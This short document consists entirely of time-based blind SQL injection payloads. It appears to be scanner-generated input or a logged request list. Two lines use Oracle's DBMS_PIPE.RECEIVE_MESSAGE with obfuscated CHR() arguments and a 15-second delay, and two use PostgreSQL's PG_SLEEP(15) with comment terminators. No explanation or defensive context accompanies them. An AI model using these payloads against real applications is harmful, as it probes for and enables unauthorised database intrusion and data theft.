1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1-1 OR 393=(SELECT 393 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1-1 OR 407=(SELECT 407 FROM PG_SLEEP(15))--